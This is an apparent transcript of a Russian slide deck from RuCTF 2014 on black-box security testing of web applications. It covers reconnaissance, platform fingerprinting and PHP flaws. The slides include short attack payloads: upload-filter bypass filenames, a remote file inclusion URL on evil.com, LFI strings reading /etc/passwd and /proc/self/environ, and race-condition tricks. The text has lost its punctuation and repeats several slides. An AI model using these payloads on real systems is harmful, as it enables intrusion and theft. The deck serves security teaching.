Blackbox-тестирование веб-приложений

50
Секреты чёрного ящика Омар Ганиев RuCTF 2014 Екатеринбург

description

Презентация с доклада "Секреты чёрного ящика" на RuCTF 2014. Речь идёт о нюансах blackbox-тестирования веб-приложений.

Transcript of Blackbox-тестирование веб-приложений

Page 1: Blackbox-тестирование веб-приложений

Секреты чёрного ящика

Омар ГаниевRuCTF 2014

Екатеринбург

Кто я

bull Beched (ahackru ahack_ru)bull Выпускник и студент-магистрант факультета

математики НИУ-ВШЭbull Участник независимого сообщества и CTF-

команды RDotOrgbull Эксперт в IncSecurity (анализ

защищённости)

Чёрный ящик

Black box

Чёрный ящик = Black box

Анализ защищённости

bull Белым ящикомndash Об объекта анализа известно всёndash Есть исходные тексты карты сети и т д

bull Чёрным ящикомndash Известны только точки входа (или даже их нет)ndash Заказчик не выдаёт информацию

bull Серый ящикndash На практике всегда что-то среднееndash Например есть учётные записи но нет исходных

текстов

Почему black box

bull Модель атаки близкая к чёрному ящику наиболее точно воспроизводит действия большинства злоумышленников

bull Если что-то удалось взломать чёрным ящиком то белым ящиком это будет ещё проще

bull Заказчики часто просто не хотят доверять доступ к исходникам своих продуктов или к серверам с конфиденциальной информацией

План

bull Первая частьndash Приёмы разведки (reconnaissance)ndash Определение используемых технологийndash (Тихий) сбор информацииndash Быстрый поверхностный анализ (fuzzing)

bull Вторая частьndash Некоторые уязвимости PHPndash Тестирование интерфейсов загрузки файловndash Уязвимости типа file inclusionndash Уязвимости механизмов десериализации

Первые шагиbull Перед Вами веб-приложение Что делать

Первые шаги

Первые шаги

bull Включаем локальный прокси-сервер (Burp Suite OWASP ZAP hellip)

bull Гуляем по сайтуbull Смотрим на запросы в логах прокси-

сервераbull Смотрим на HTTP-заголовки и содержимое

ответов

Главные идеи

bull Полезно прикинуть учитывая полученные данные как бы Вы реализовали имеющийся функционал если бы были разработчиком (взгляд изнутри ящика)

bull А затем подумать какие ошибки Вы могли бы допустить и как их можно проэксплуатировать (взгляд извне ящика)

Распознавание платформbull Веб-серверы часто оставляют подпись в

HTTP-заголовке Serverbull Также есть специфичные запросы

например lsquoa=aampa[]=arsquo который вызывает ошибку 500 в Rack Server

bull Языки программирования могут быть определены по заголовку X-Powered-by или просто по расширениям файлов (php aspx и т д)

Распознавание платформ

bull Если определить конкретный используемый движок то с языком опять-таки всё будет ясно

bull Кроме того различным языкам свойственны различные способы приведения типов нормализации и кодирования данных

bull Например если PHP получит массив вместо строки и попытается его вывести через echo массив будет приведён к строке lsquoArrayrsquo

Распознавание платформ

bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом

bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework

bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework

bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious

Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt

CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию

установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS

(например у Bitrix)bull Часто название CMS написано в атрибуте generator

HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla

dle_root =gt DataLife Engine wp-content =gt WordPress и т д

Сбор информации

bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip

bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip

bull Перебор файлов и директорий по словарю

Сбор информации

bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql

bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым

Сбор информации

bull Анализ веб-приложения часто осложняется использованием технологий web 20

bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных

bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)

bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL

Сбор информации

bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием

bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413

bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария

Сбор информацииbull Следующим шагом является получение списка

параметров веб-приложения (POST GET Cookie а также заголовки)

bull Их можно угадать исходя из структуры используемых на сайте ссылок

bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск

bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и

размерусодержимому HTTP-ответа

Быстрый fuzzing

bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)

bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя

bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта

Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для

black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество

получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление

универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-

инъекции а также различные виды иных инъекций кода

Быстрый fuzzing

bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д

bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack

bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)

Уязвимости PHP

bull Почему PHP

Почему ломаем PHP

bull Низкий порог вхождения много глупых кодеров с низкопробным кодом

bull Запутанный язык с месивом различным парадигм

bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами

bull bull PROFIT

lt=$question[0]

bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))

header(Location loginphp)require_once includesadminphphellip

lt=$answer[0]

bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к

административному интерфейсуbull Для этого удобно задать в Burp Suite

правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 2: Blackbox-тестирование веб-приложений

Кто я

bull Beched (ahackru ahack_ru)bull Выпускник и студент-магистрант факультета

математики НИУ-ВШЭbull Участник независимого сообщества и CTF-

команды RDotOrgbull Эксперт в IncSecurity (анализ

защищённости)

Чёрный ящик

Black box

Чёрный ящик = Black box

Анализ защищённости

bull Белым ящикомndash Об объекта анализа известно всёndash Есть исходные тексты карты сети и т д

bull Чёрным ящикомndash Известны только точки входа (или даже их нет)ndash Заказчик не выдаёт информацию

bull Серый ящикndash На практике всегда что-то среднееndash Например есть учётные записи но нет исходных

текстов

Почему black box

bull Модель атаки близкая к чёрному ящику наиболее точно воспроизводит действия большинства злоумышленников

bull Если что-то удалось взломать чёрным ящиком то белым ящиком это будет ещё проще

bull Заказчики часто просто не хотят доверять доступ к исходникам своих продуктов или к серверам с конфиденциальной информацией

План

bull Первая частьndash Приёмы разведки (reconnaissance)ndash Определение используемых технологийndash (Тихий) сбор информацииndash Быстрый поверхностный анализ (fuzzing)

bull Вторая частьndash Некоторые уязвимости PHPndash Тестирование интерфейсов загрузки файловndash Уязвимости типа file inclusionndash Уязвимости механизмов десериализации

Первые шагиbull Перед Вами веб-приложение Что делать

Первые шаги

Первые шаги

bull Включаем локальный прокси-сервер (Burp Suite OWASP ZAP hellip)

bull Гуляем по сайтуbull Смотрим на запросы в логах прокси-

сервераbull Смотрим на HTTP-заголовки и содержимое

ответов

Главные идеи

bull Полезно прикинуть учитывая полученные данные как бы Вы реализовали имеющийся функционал если бы были разработчиком (взгляд изнутри ящика)

bull А затем подумать какие ошибки Вы могли бы допустить и как их можно проэксплуатировать (взгляд извне ящика)

Распознавание платформbull Веб-серверы часто оставляют подпись в

HTTP-заголовке Serverbull Также есть специфичные запросы

например lsquoa=aampa[]=arsquo который вызывает ошибку 500 в Rack Server

bull Языки программирования могут быть определены по заголовку X-Powered-by или просто по расширениям файлов (php aspx и т д)

Распознавание платформ

bull Если определить конкретный используемый движок то с языком опять-таки всё будет ясно

bull Кроме того различным языкам свойственны различные способы приведения типов нормализации и кодирования данных

bull Например если PHP получит массив вместо строки и попытается его вывести через echo массив будет приведён к строке lsquoArrayrsquo

Распознавание платформ

bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом

bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework

bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework

bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious

Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt

CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию

установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS

(например у Bitrix)bull Часто название CMS написано в атрибуте generator

HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla

dle_root =gt DataLife Engine wp-content =gt WordPress и т д

Сбор информации

bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip

bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip

bull Перебор файлов и директорий по словарю

Сбор информации

bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql

bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым

Сбор информации

bull Анализ веб-приложения часто осложняется использованием технологий web 20

bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных

bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)

bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL

Сбор информации

bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием

bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413

bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария

Сбор информацииbull Следующим шагом является получение списка

параметров веб-приложения (POST GET Cookie а также заголовки)

bull Их можно угадать исходя из структуры используемых на сайте ссылок

bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск

bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и

размерусодержимому HTTP-ответа

Быстрый fuzzing

bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)

bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя

bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта

Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для

black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество

получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление

универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-

инъекции а также различные виды иных инъекций кода

Быстрый fuzzing

bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д

bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack

bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)

Уязвимости PHP

bull Почему PHP

Почему ломаем PHP

bull Низкий порог вхождения много глупых кодеров с низкопробным кодом

bull Запутанный язык с месивом различным парадигм

bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами

bull bull PROFIT

lt=$question[0]

bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))

header(Location loginphp)require_once includesadminphphellip

lt=$answer[0]

bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к

административному интерфейсуbull Для этого удобно задать в Burp Suite

правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 3: Blackbox-тестирование веб-приложений

Чёрный ящик

Black box

Чёрный ящик = Black box

Анализ защищённости

bull Белым ящикомndash Об объекта анализа известно всёndash Есть исходные тексты карты сети и т д

bull Чёрным ящикомndash Известны только точки входа (или даже их нет)ndash Заказчик не выдаёт информацию

bull Серый ящикndash На практике всегда что-то среднееndash Например есть учётные записи но нет исходных

текстов

Почему black box

bull Модель атаки близкая к чёрному ящику наиболее точно воспроизводит действия большинства злоумышленников

bull Если что-то удалось взломать чёрным ящиком то белым ящиком это будет ещё проще

bull Заказчики часто просто не хотят доверять доступ к исходникам своих продуктов или к серверам с конфиденциальной информацией

План

bull Первая частьndash Приёмы разведки (reconnaissance)ndash Определение используемых технологийndash (Тихий) сбор информацииndash Быстрый поверхностный анализ (fuzzing)

bull Вторая частьndash Некоторые уязвимости PHPndash Тестирование интерфейсов загрузки файловndash Уязвимости типа file inclusionndash Уязвимости механизмов десериализации

Первые шагиbull Перед Вами веб-приложение Что делать

Первые шаги

Первые шаги

bull Включаем локальный прокси-сервер (Burp Suite OWASP ZAP hellip)

bull Гуляем по сайтуbull Смотрим на запросы в логах прокси-

сервераbull Смотрим на HTTP-заголовки и содержимое

ответов

Главные идеи

bull Полезно прикинуть учитывая полученные данные как бы Вы реализовали имеющийся функционал если бы были разработчиком (взгляд изнутри ящика)

bull А затем подумать какие ошибки Вы могли бы допустить и как их можно проэксплуатировать (взгляд извне ящика)

Распознавание платформbull Веб-серверы часто оставляют подпись в

HTTP-заголовке Serverbull Также есть специфичные запросы

например lsquoa=aampa[]=arsquo который вызывает ошибку 500 в Rack Server

bull Языки программирования могут быть определены по заголовку X-Powered-by или просто по расширениям файлов (php aspx и т д)

Распознавание платформ

bull Если определить конкретный используемый движок то с языком опять-таки всё будет ясно

bull Кроме того различным языкам свойственны различные способы приведения типов нормализации и кодирования данных

bull Например если PHP получит массив вместо строки и попытается его вывести через echo массив будет приведён к строке lsquoArrayrsquo

Распознавание платформ

bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом

bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework

bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework

bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious

Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt

CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию

установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS

(например у Bitrix)bull Часто название CMS написано в атрибуте generator

HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla

dle_root =gt DataLife Engine wp-content =gt WordPress и т д

